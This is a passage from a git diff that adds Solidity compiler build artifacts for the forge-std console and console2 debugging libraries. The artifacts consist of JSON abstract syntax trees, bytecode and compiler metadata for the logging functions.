\"log(address,address,address,uint)\""},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":23656,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"66020:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":23657,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"66024:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"66020:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":23663,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"66020:76:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":23655,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"66004:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":23664,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"66004:93:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":23665,"nodeType":"ExpressionStatement","src":"66004:93:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"65931:3:14","parameters":{"id":23653,"nodeType":"ParameterList","parameters":[{"constant":false,"id":23646,"mutability":"mutable","name":"p0","nameLocation":"65943:2:14","nodeType":"VariableDeclaration","scope":23667,"src":"65935:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":23645,"name":"address","nodeType":"ElementaryTypeName","src":"65935:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":23648,"mutability":"mutable","name":"p1","nameLocation":"65955:2:14","nodeType":"VariableDeclaration","scope":23667,"src":"65947:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":23647,"name":"address","nodeType":"ElementaryTypeName","src":"65947:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":23650,"mutability":"mutable","name":"p2","nameLocation":"65967:2:14","nodeType":"VariableDeclaration","scope":23667,"src":"65959:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":23649,"name":"address","nodeType":"ElementaryTypeName","src":"65959:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":23652,"mutability":"mutable","name":"p3","nameLocation":"65976:2:14","nodeType":"VariableDeclaration","scope":23667,"src":"65971:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":23651,"name":"uint","nodeType":"ElementaryTypeName","src":"65971:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"65934:45:14"},"returnParameters":{"id":23654,"nodeType":"ParameterList","parameters":[],"src":"65994:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":23690,"nodeType":"FunctionDefinition","src":"66110:193:14","nodes":[],"body":{"id":23689,"nodeType":"Block","src":"66191:112:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728616464726573732c616464726573732c616464726573732c737472696e6729","id":23681,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"66241:37:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_f808da2086fed855c3e15d9dbfed3b17a93ed9a59947aae6ab05b7e18576f025","typeString":"literal_string \"log(address,address,address,string)\""},"value":"log(address,address,address,string)"},{"id":23682,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23669,"src":"66280:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":23683,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23671,"src":"66284:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":23684,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23673,"src":"66288:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":23685,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23675,"src":"66292:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_f808da2086fed855c3e15d9dbfed3b17a93ed9a59947aae6ab05b7e18576f025","typeString":"literal_string \"log(address,address,address,string)\""},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":23679,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"66217:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":23680,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"66221:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"66217:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":23686,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"66217:78:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":23678,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"66201:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":23687,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"66201:95:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":23688,"nodeType":"ExpressionStatement","src":"66201:95:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"66119:3:14","parameters":{"id":23676,"nodeType":"ParameterList","parameters":[{"constant":false,"id":23669,"mutability":"mutable","name":"p0","nameLocation":"66131:2:14","nodeType":"VariableDeclaration","scope":23690,"src":"66123:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":23668,"name":"address","nodeType":"ElementaryTypeName","src":"66123:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":23671,"mutability":"mutable","name":"p1","nameLocation":"66143:2:14","nodeType":"VariableDeclaration","scope":23690,"src":"66135:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":23670,"name":"address","nodeType":"ElementaryTypeName","src":"66135:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":23673,"mutability":"mutable","name":"p2","nameLocation":"66155:2:14","nodeType":"VariableDeclaration","scope":23690,"src":"66147:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":23672,"name":"address","nodeType":"ElementaryTypeName","src":"66147:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":23675,"mutability":"mutable","name":"p3","nameLocation":"66173:2:14","nodeType":"VariableDeclaration","scope":23690,"src":"66159:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":23674,"name":"string","nodeType":"ElementaryTypeName","src":"66159:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"66122:54:14"},"returnParameters":{"id":23677,"nodeType":"ParameterList","parameters":[],"src":"66191:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":23713,"nodeType":"FunctionDefinition","src":"66309:182:14","nodes":[],"body":{"id":23712,"nodeType":"Block","src":"66381:110:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728616464726573732c616464726573732c616464726573732c626f6f6c29","id":23704,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"66431:35:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_0e378994a4cd2663acfd73a7ad4e09d196e4fb7ee05b7cdf0708eb30271e2afb","typeString":"literal_string \"log(address,address,address,bool)\""},"value":"log(address,address,address,bool)"},{"id":23705,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23692,"src":"66468:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":23706,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23694,"src":"66472:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":23707,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23696,"src":"66476:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":23708,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23698,"src":"66480:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_0e378994a4cd2663acfd73a7ad4e09d196e4fb7ee05b7cdf0708eb30271e2afb","typeString":"literal_string \"log(address,address,address,bool)\""},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":23702,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"66407:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":23703,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"66411:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"66407:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":23709,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"66407:76:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":23701,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"66391:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":23710,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"66391:93:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":23711,"nodeType":"ExpressionStatement","src":"66391:93:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"66318:3:14","parameters":{"id":23699,"nodeType":"ParameterList","parameters":[{"constant":false,"id":23692,"mutability":"mutable","name":"p0","nameLocation":"66330:2:14","nodeType":"VariableDeclaration","scope":23713,"src":"66322:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":23691,"name":"address","nodeType":"ElementaryTypeName","src":"66322:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":23694,"mutability":"mutable","name":"p1","nameLocation":"66342:2:14","nodeType":"VariableDeclaration","scope":23713,"src":"66334:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":23693,"name":"address","nodeType":"ElementaryTypeName","src":"66334:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":23696,"mutability":"mutable","name":"p2","nameLocation":"66354:2:14","nodeType":"VariableDeclaration","scope":23713,"src":"66346:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":23695,"name":"address","nodeType":"ElementaryTypeName","src":"66346:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":23698,"mutability":"mutable","name":"p3","nameLocation":"66363:2:14","nodeType":"VariableDeclaration","scope":23713,"src":"66358:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":23697,"name":"bool","nodeType":"ElementaryTypeName","src":"66358:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"66321:45:14"},"returnParameters":{"id":23700,"nodeType":"ParameterList","parameters":[],"src":"66381:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":23736,"nodeType":"FunctionDefinition","src":"66497:188:14","nodes":[],"body":{"id":23735,"nodeType":"Block","src":"66572:113:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728616464726573732c616464726573732c616464726573732c6164647265737329","id":23727,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"66622:38:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_665bf1345e006aa321c0b6b71bed55ce0d6cdd812632f8c43114f62c55ffa0b5","typeString":"literal_string \"log(address,address,address,address)\""},"value":"log(address,address,address,address)"},{"id":23728,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23715,"src":"66662:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":23729,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23717,"src":"66666:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":23730,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23719,"src":"66670:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":23731,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":23721,"src":"66674:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_665bf1345e006aa321c0b6b71bed55ce0d6cdd812632f8c43114f62c55ffa0b5","typeString":"literal_string \"log(address,address,address,address)\""},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":23725,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"66598:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":23726,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"66602:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"66598:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":23732,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"66598:79:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":23724,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"66582:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":23733,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"66582:96:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":23734,"nodeType":"ExpressionStatement","src":"66582:96:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"66506:3:14","parameters":{"id":23722,"nodeType":"ParameterList","parameters":[{"constant":false,"id":23715,"mutability":"mutable","name":"p0","nameLocation":"66518:2:14","nodeType":"VariableDeclaration","scope":23736,"src":"66510:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":23714,"name":"address","nodeType":"ElementaryTypeName","src":"66510:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":23717,"mutability":"mutable","name":"p1","nameLocation":"66530:2:14","nodeType":"VariableDeclaration","scope":23736,"src":"66522:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":23716,"name":"address","nodeType":"ElementaryTypeName","src":"66522:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":23719,"mutability":"mutable","name":"p2","nameLocation":"66542:2:14","nodeType":"VariableDeclaration","scope":23736,"src":"66534:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":23718,"name":"address","nodeType":"ElementaryTypeName","src":"66534:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":23721,"mutability":"mutable","name":"p3","nameLocation":"66554:2:14","nodeType":"VariableDeclaration","scope":23736,"src":"66546:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":23720,"name":"address","nodeType":"ElementaryTypeName","src":"66546:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"66509:48:14"},"returnParameters":{"id":23723,"nodeType":"ParameterList","parameters":[],"src":"66572:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"}],"abstract":false,"baseContracts":[],"canonicalName":"console","contractDependencies":[],"contractKind":"library","fullyImplemented":true,"linearizedBaseContracts":[23737],"name":"console","nameLocation":"74:7:14","scope":23738,"usedErrors":[],"usedEvents":[]}],"license":"MIT"},"id":14} \ No newline at end of file diff --git a/contracts/out/console2.sol/console2.json b/contracts/out/console2.sol/console2.json new file mode 100644 index 000000000..0c2180f2c --- /dev/null +++ b/contracts/out/console2.sol/console2.json @@ -0,0 +1 @@ +{"abi":[],"bytecode":{"object":"0x60556032600b8282823980515f1a607314602657634e487b7160e01b5f525f60045260245ffd5b305f52607381538281f3fe730000000000000000000000000000000000000000301460806040525f80fdfea26469706673582212202abd6ec0a682341a2d171e87662721fef474cc29f7dcb42d75d8e87d6a34684264736f6c63430008180033","sourceMap":"525:69152:15:-:0;;;;;;;;;;;;;;;-1:-1:-1;;;525:69152:15;;;;;;;;;;;;;;;;;","linkReferences":{}},"deployedBytecode":{"object":"0x730000000000000000000000000000000000000000301460806040525f80fdfea26469706673582212202abd6ec0a682341a2d171e87662721fef474cc29f7dcb42d75d8e87d6a34684264736f6c63430008180033","sourceMap":"525:69152:15:-:0;;;;;;;;","linkReferences":{}},"methodIdentifiers":{},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[],\"devdoc\":{\"details\":\"The original console.sol uses `int` and `uint` for computing function selectors, but it should use `int256` and `uint256`. This modified version fixes that. This version is recommended over `console.sol` if you don't need compatibility with Hardhat as the logs will show up in forge stack traces. If you do need compatibility with Hardhat, you must use `console.sol`. Reference: https://github.com/NomicFoundation/hardhat/issues/2178\",\"kind\":\"dev\",\"methods\":{},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"lib/forge-std/src/console2.sol\":\"console2\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"lib/forge-std/src/console2.sol\":{\"keccak256\":\"0x954646445d1014c3cd85c7918f5e7adeeca5ee44b68c00bafa237e597a4e35ea\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://516fa3be52da4763147175bfba4be0aa011fadbb0c1afb01f97265bd4cee7973\",\"dweb:/ipfs/QmdixAyMJefx7qePChgdxcBH5MxhmN7vsqPuPLx3CgrVmF\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[],"devdoc":{"kind":"dev","methods":{},"version":1},"userdoc":{"kind":"user","methods":{},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"lib/forge-std/src/console2.sol":"console2"},"evmVersion":"shanghai","libraries":{}},"sources":{"lib/forge-std/src/console2.sol":{"keccak256":"0x954646445d1014c3cd85c7918f5e7adeeca5ee44b68c00bafa237e597a4e35ea","urls":["bzz-raw://516fa3be52da4763147175bfba4be0aa011fadbb0c1afb01f97265bd4cee7973","dweb:/ipfs/QmdixAyMJefx7qePChgdxcBH5MxhmN7vsqPuPLx3CgrVmF"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"lib/forge-std/src/console2.sol","id":31863,"exportedSymbols":{"console2":[31862]},"nodeType":"SourceUnit","src":"32:69645:15","nodes":[{"id":23739,"nodeType":"PragmaDirective","src":"32:32:15","nodes":[],"literals":["solidity",">=","0.4",".22","<","0.9",".0"]},{"id":31862,"nodeType":"ContractDefinition","src":"525:69152:15","nodes":[{"id":23746,"nodeType":"VariableDeclaration","src":"548:86:15","nodes":[],"constant":true,"mutability":"constant","name":"CONSOLE_ADDRESS","nameLocation":"565:15:15","scope":31862,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":23741,"name":"address","nodeType":"ElementaryTypeName","src":"548:7:15","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"value":{"arguments":[{"hexValue":"307830303030303030303030303030303030303036333646366537333646366336353265366336663637","id":23744,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"591:42:15","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"value":"0x000000000000000000636F6e736F6c652e6c6f67"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":23743,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"583:7:15","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":23742,"name":"address","nodeType":"ElementaryTypeName","src":"583:7:15","typeDescriptions":{}}},"id":23745,"isConstant":false,"isLValue":false,"isPure":true,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"583:51:15","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"id":23763,"nodeType":"FunctionDefinition","src":"641:221:15","nodes":[],"body":{"id":23762,"nodeType":"Block","src":"800:62:15","nodes":[],"statements":[{"AST":{"nativeSrc":"819:37:15","nodeType":"YulBlock","src":"819:37:15","statements":[{"nativeSrc":"833:13:15","nodeType":"YulAssignment","src":"833:13:15","value":{"name":"fnIn","nativeSrc":"842:4:15","nodeType":"YulIdentifier","src":"842:4:15"},"variableNames":[{"name":"fnOut","nativeSrc":"833:5:15","nodeType":"YulIdentifier","src":"833:5:15"}]}]},"evmVersion":"shanghai","externalReferences":[{"declaration":23752,"isOffset":false,"isSlot":false,"src":"842:4:15","valueSize":1},{"declaration":23759,"isOffset":false,"isSlot":false,"src":"833:5:15","valueSize":1}],"id":23761,"nodeType":"InlineAssembly","src":"810:46:15"}]},"implemented":true,"kind":"function","modifiers":[],"name":"_castLogPayloadViewToPure","nameLocation":"650:25:15","parameters":{"id":23753,"nodeType":"ParameterList","parameters":[{"constant":false,"id":23752,"mutability":"mutable","name":"fnIn","nameLocation":"722:4:15","nodeType":"VariableDeclaration","scope":23763,"src":"685:41:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes) view"},"typeName":{"id":23751,"nodeType":"FunctionTypeName","parameterTypes":{"id":23749,"nodeType":"ParameterList","parameters":[{"constant":false,"id":23748,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":23751,"src":"694:12:15","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":23747,"name":"bytes","nodeType":"ElementaryTypeName","src":"694:5:15","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"693:14:15"},"returnParameterTypes":{"id":23750,"nodeType":"ParameterList","parameters":[],"src":"722:0:15"},"src":"685:41:15","stateMutability":"view","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes) view"},"visibility":"internal"},"visibility":"internal"}],"src":"675:57:15"},"returnParameters":{"id":23760,"nodeType":"ParameterList","parameters":[{"constant":false,"id":23759,"mutability":"mutable","name":"fnOut","nameLocation":"793:5:15","nodeType":"VariableDeclaration","scope":23763,"src":"756:42:15","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes) 